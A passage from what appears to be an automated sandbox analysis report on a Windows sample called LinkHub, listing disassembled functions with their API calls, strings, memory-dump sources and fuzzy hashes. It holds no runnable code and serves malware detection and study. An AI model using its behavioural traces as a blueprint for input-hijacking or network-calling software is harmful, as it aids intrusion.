                                                                            • Instruction Fuzzy Hash: D7414D306083CC9EC735AB3BDDC876A7BA1AB46354F78553CE98766960C671E444C731
                                                                            Function 00E646E2 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateMenu.USER32 ref: 00E64715
                                                                            • SetMenu.USER32(?,00000000), ref: 00E64724
                                                                            • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E647AC
                                                                            • IsMenu.USER32(?), ref: 00E647C0
                                                                            • CreatePopupMenu.USER32 ref: 00E647CA
                                                                            • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E647F7
                                                                            • DrawMenuBar.USER32 ref: 00E647FF
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                                            • String ID: 0$F
                                                                            • API String ID: 161812096-3044882817
                                                                            • Opcode ID: 86fea30f2a7c9c1949a65404615f1082160c0cdbf1ee7819bd8734b416625ea8
                                                                            • Instruction ID: 8619aa76870f5eb563fca4f89153e23ce9078b45620d24f86a52a74bf1b1792a
                                                                            • Opcode Fuzzy Hash: 86fea30f2a7c9c1949a65404615f1082160c0cdbf1ee7819bd8734b416625ea8
                                                                            • Instruction Fuzzy Hash: 7D417CB5A01209EFDB14CF65E844EAA7BB6FF49354F144029FA46A7390C770A914CB50
                                                                            Function 00E3282C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00E328B1
                                                                            • GetDlgCtrlID.USER32 ref: 00E328BC
                                                                            • GetParent.USER32 ref: 00E328D8
                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 00E328DB
                                                                            • GetDlgCtrlID.USER32(?), ref: 00E328E4
                                                                            • GetParent.USER32(?), ref: 00E328F8
                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 00E328FB
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 711023334-1403004172
                                                                            • Opcode ID: e96296234c391e28ea0c326f622f4582599e407c8f2aff4cc31b2cb1d68e715e
                                                                            • Instruction ID: bab86ddf504a1280d6f652bd3e95831774f59b99ca9b4c4e3aee0e0c79630058
                                                                            • Opcode Fuzzy Hash: e96296234c391e28ea0c326f622f4582599e407c8f2aff4cc31b2cb1d68e715e
                                                                            • Instruction Fuzzy Hash: 8421B0B5E00118BFCF01ABA0DC89EEEBBA4EF05364F40415AF951A7291DB755818DA60
                                                                            Function 00E3290D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E345FD: GetClassNameW.USER32(?,?,000000FF), ref: 00E34620
                                                                            • SendMessageW.USER32(?,00000186,00020000,00000000), ref: 00E32990
                                                                            • GetDlgCtrlID.USER32 ref: 00E3299B
                                                                            • GetParent.USER32 ref: 00E329B7
                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 00E329BA
                                                                            • GetDlgCtrlID.USER32(?), ref: 00E329C3
                                                                            • GetParent.USER32(?), ref: 00E329D7
                                                                            • SendMessageW.USER32(00000000,?,00000111,?), ref: 00E329DA
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                                                            • String ID: ComboBox$ListBox
                                                                            • API String ID: 711023334-1403004172
                                                                            • Opcode ID: 8897243d4af22748b2fb3f2ee709367f31c42d4104b5bdfaff6af3305aa28bae
                                                                            • Instruction ID: 48f0421d3b0cf7312dd2597346b57d559451d9f440a8f5568d8da08b70ec4411
                                                                            • Opcode Fuzzy Hash: 8897243d4af22748b2fb3f2ee709367f31c42d4104b5bdfaff6af3305aa28bae
                                                                            • Instruction Fuzzy Hash: F021ACB5E00218BBCF01ABA0DC89EEEBBB8EF04354F405117F991A72A1DA755818DB60
                                                                            Function 00E644BF Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00E64539
                                                                            • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00E6453C
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E64563
                                                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00E64586
                                                                            • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00E645FE
                                                                            • SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00E64648
                                                                            • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00E64663
                                                                            • SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00E6467E
                                                                            • SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00E64692
                                                                            • SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00E646AF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$LongWindow
                                                                            • String ID:
                                                                            • API String ID: 312131281-0
                                                                            • Opcode ID: a3eaf57e9b41a290191fa64ba4a293b25d74e053b928ceabe49e6cf833dd23bd
                                                                            • Instruction ID: f4d9dc335b5c38efc3b30e6a8c19bfd20fe4d19b99e53ef7dcfbf3430245b5e9
                                                                            • Opcode Fuzzy Hash: a3eaf57e9b41a290191fa64ba4a293b25d74e053b928ceabe49e6cf833dd23bd
                                                                            • Instruction Fuzzy Hash: A8618AB1A40208AFDB10DFA8DC81EEE77F8EB4A744F104159FA04B72E1C774A949DB50
                                                                            Function 00E3BAF6 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentThreadId.KERNEL32 ref: 00E3BB18
                                                                            • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BB2C
                                                                            • GetWindowThreadProcessId.USER32(00000000), ref: 00E3BB33
                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BB42
                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 00E3BB54
                                                                            • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BB6D
                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BB7F
                                                                            • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BBC4
                                                                            • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BBD9
                                                                            • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00E3ABA8,?,00000001), ref: 00E3BBE4
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                            • String ID:
                                                                            • API String ID: 2156557900-0
                                                                            • Opcode ID: f8867635ae5594a1f60a0ea913b5a5b44b0f7270f6d49a2371653a697102c67d
                                                                            • Instruction ID: edb32296b40e98f99e184fb54073f874ce65e4bdbca4bf54809bcbf10009b589
                                                                            • Opcode Fuzzy Hash: f8867635ae5594a1f60a0ea913b5a5b44b0f7270f6d49a2371653a697102c67d
                                                                            • Instruction Fuzzy Hash: 373198B1A04204AFDB109B16ECC8F6ABBA9EB89356F104005FB06F71E4DBF4A844DB11
                                                                            Function 00E48835 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00E489F2
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E48A06
                                                                            • GetFileAttributesW.KERNEL32(?), ref: 00E48A30
                                                                            • SetFileAttributesW.KERNEL32(?,00000000), ref: 00E48A4A
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E48A5C
                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 00E48AA5
                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00E48AF5
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CurrentDirectory$AttributesFile
                                                                            • String ID: *.*
                                                                            • API String ID: 769691225-438819550
                                                                            • Opcode ID: b9ede3014c8628c4bed03c2301548186cff819147bfa8760dd13efd957eacdcd
                                                                            • Instruction ID: 13a04c96a6eeb7461b1e9560aed0795b4a3c26826b9ce075ae8305c221f7586c
                                                                            • Opcode Fuzzy Hash: b9ede3014c8628c4bed03c2301548186cff819147bfa8760dd13efd957eacdcd
                                                                            • Instruction Fuzzy Hash: 7481BF729086049BCB24EF14D944ABEB3E8FF88314F545C1AF989E7250DB74E944DBA2
                                                                            Function 00E688F9 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 193windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • IsWindow.USER32(00000000), ref: 00E68992
                                                                            • IsWindowEnabled.USER32(00000000), ref: 00E6899E
                                                                            • SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 00E68A79
                                                                            • SendMessageW.USER32(00000000,000000B0,?,?), ref: 00E68AAC
                                                                            • IsDlgButtonChecked.USER32(?,00000000), ref: 00E68AE4
                                                                            • GetWindowLongW.USER32(00000000,000000EC), ref: 00E68B06
                                                                            • SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00E68B1E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSendWindow$ButtonCheckedEnabledLong
                                                                            • String ID: (
                                                                            • API String ID: 4072528602-2063206799
                                                                            • Opcode ID: b37e7c08d3ca54aba8241d578ad947b8e31cdbba81968dc974cc2f551293c307
                                                                            • Instruction ID: c5586e514e42172e58ccf515c38c7a60c6c6a5a96451eb0bc64f5e15430db50a
                                                                            • Opcode Fuzzy Hash: b37e7c08d3ca54aba8241d578ad947b8e31cdbba81968dc974cc2f551293c307
                                                                            • Instruction Fuzzy Hash: 6171F234680204AFDB21DFA5E984FFA7BB5FF49384F04265AE84577261CB31A884CB11
                                                                            Function 00DD7447 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetWindowLongW.USER32(?,000000EB), ref: 00DD74D7
                                                                              • Part of subcall function 00DD7567: GetClientRect.USER32(?,?), ref: 00DD758D
                                                                              • Part of subcall function 00DD7567: GetWindowRect.USER32(?,?), ref: 00DD75CE
                                                                              • Part of subcall function 00DD7567: ScreenToClient.USER32(?,?), ref: 00DD75F6
                                                                            • GetDC.USER32 ref: 00E16083
                                                                            • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00E16096
                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00E160A4
                                                                            • SelectObject.GDI32(00000000,00000000), ref: 00E160B9
                                                                            • ReleaseDC.USER32(?,00000000), ref: 00E160C1
                                                                            • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00E16152
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                            • String ID: U
                                                                            • API String ID: 4009187628-3372436214
                                                                            • Opcode ID: ce2bb804b7d77f3759c3f0f28fde5bcdba5b18f1a613dfab97f026fcac122bff
                                                                            • Instruction ID: 6d4ab890d5d2ddd1672f6489cd173ca4eecea6341044666f75e1eeb216e0f944
                                                                            • Opcode Fuzzy Hash: ce2bb804b7d77f3759c3f0f28fde5bcdba5b18f1a613dfab97f026fcac122bff
                                                                            • Instruction Fuzzy Hash: 4D71F231600205EFCF228F64CC84AEA3BB1FF49354F1452AAED596A2A2D730DC84DB60
                                                                            Function 00E4CC98 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00E4CCB7
                                                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E4CCDF
                                                                            • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00E4CD0F
                                                                            • GetLastError.KERNEL32 ref: 00E4CD67
                                                                            • SetEvent.KERNEL32(?), ref: 00E4CD7B
                                                                            • InternetCloseHandle.WININET(00000000), ref: 00E4CD86
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                                            • String ID:
                                                                            • API String ID: 3113390036-3916222277
                                                                            • Opcode ID: c0a39e5972450668bc4127f5a2aedc72e6a20acdd2dc0662740616664c17a74f
                                                                            • Instruction ID: c9dc71e364d5031dcb3572a7293352cff7319a040c253626b0f80419715ee510
                                                                            • Opcode Fuzzy Hash: c0a39e5972450668bc4127f5a2aedc72e6a20acdd2dc0662740616664c17a74f
                                                                            • Instruction Fuzzy Hash: 9F31B171E05204AFD7619F62AC84AAB7BFCEB49744B20552AF446E3200D770ED089B71
                                                                            Function 00E3A215 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,00E155AE,?,?,Bad directive syntax error,00E6DCD0,00000000,00000010,?,?), ref: 00E3A236
                                                                            • LoadStringW.USER32(00000000,?,00E155AE,?), ref: 00E3A23D
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 00E3A301
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: HandleLoadMessageModuleString_wcslen
                                                                            • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                                            • API String ID: 858772685-4153970271
                                                                            • Opcode ID: 4a739bf7809adaeb33d60376ca9514b7de7764c01094f9e2dfa4e2b962e0dec1
                                                                            • Instruction ID: 9355d83f1a7c3c39bf1cdc1a627f181e2bf2e0512389427c84c7cbf3d0af4e58
                                                                            • Opcode Fuzzy Hash: 4a739bf7809adaeb33d60376ca9514b7de7764c01094f9e2dfa4e2b962e0dec1
                                                                            • Instruction Fuzzy Hash: CE216B3190430AEFCF11AB90CC0AEEE7B79FF18704F04446AF516751A2EB729658DB61
                                                                            Function 00E329EC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetParent.USER32 ref: 00E329F8
                                                                            • GetClassNameW.USER32(00000000,?,00000100), ref: 00E32A0D
                                                                            • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00E32A9A
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClassMessageNameParentSend
                                                                            • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                            • API String ID: 1290815626-3381328864
                                                                            • Opcode ID: d01896de98b81b8418364f1f5f3b2c293e4b8651faa8378cc5cc4ed0399239eb
                                                                            • Instruction ID: ab75f9b964635eb4834add687806630f486a0bf1c5dac290df6b3904d1e4dd2c
                                                                            • Opcode Fuzzy Hash: d01896de98b81b8418364f1f5f3b2c293e4b8651faa8378cc5cc4ed0399239eb
                                                                            • Instruction Fuzzy Hash: FE11067674830BBAFA246621EC0ADAB3B9CCF14728F21501AF704F40D1FBA268008524
                                                                            Function 00DD7567 Relevance: 13.8, APIs: 9, Instructions: 291COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetClientRect.USER32(?,?), ref: 00DD758D
                                                                            • GetWindowRect.USER32(?,?), ref: 00DD75CE
                                                                            • ScreenToClient.USER32(?,?), ref: 00DD75F6
                                                                            • GetClientRect.USER32(?,?), ref: 00DD773A
                                                                            • GetWindowRect.USER32(?,?), ref: 00DD775B
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Rect$Client$Window$Screen
                                                                            • String ID:
                                                                            • API String ID: 1296646539-0
                                                                            • Opcode ID: 17f91389df44512369e59357145c72fed8e54b148f7459b32254a094fcbfe34f
                                                                            • Instruction ID: 186c4e614a7765368ace8774b6f4207ba0b8352842185fb3e64aeb6cc80c38a2
                                                                            • Opcode Fuzzy Hash: 17f91389df44512369e59357145c72fed8e54b148f7459b32254a094fcbfe34f
                                                                            • Instruction Fuzzy Hash: 83C16B39A0465AEFDB10CFA8C940BEEB7F1FF18314F14945AE895A7250E734E981DB60
                                                                            Function 00E0D210 Relevance: 13.7, APIs: 9, Instructions: 209COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free$EnvironmentVariable___from_strstr_to_strchr
                                                                            • String ID:
                                                                            • API String ID: 1282221369-0
                                                                            • Opcode ID: 18fe9915b6201315ae75c7feb3d52b62384b643d363caa9a2f682322f85f8947
                                                                            • Instruction ID: a4adc3bbe251b7d0159db281a08e577d314a29d7ed61645c477e9e81376a85c9
                                                                            • Opcode Fuzzy Hash: 18fe9915b6201315ae75c7feb3d52b62384b643d363caa9a2f682322f85f8947
                                                                            • Instruction Fuzzy Hash: 49613571908301AFDB21AFF8DC856AABBE4DF06324F04656DFA04B72D1DA359C808751
                                                                            Function 00E65B72 Relevance: 13.7, APIs: 9, Instructions: 162windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(?,00002001,00000000,00000000), ref: 00E65C24
                                                                            • ShowWindow.USER32(?,00000000), ref: 00E65C65
                                                                            • ShowWindow.USER32(?,00000005,?,00000000), ref: 00E65C6B
                                                                            • SetFocus.USER32(?,?,00000005,?,00000000), ref: 00E65C6F
                                                                              • Part of subcall function 00E679F2: DeleteObject.GDI32(00000000), ref: 00E67A1E
                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00E65CAB
                                                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00E65CB8
                                                                            • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00E65CEB
                                                                            • SendMessageW.USER32(?,00001001,00000000,000000FE), ref: 00E65D25
                                                                            • SendMessageW.USER32(?,00001026,00000000,000000FE), ref: 00E65D34
                                                                            Memory Dump Source
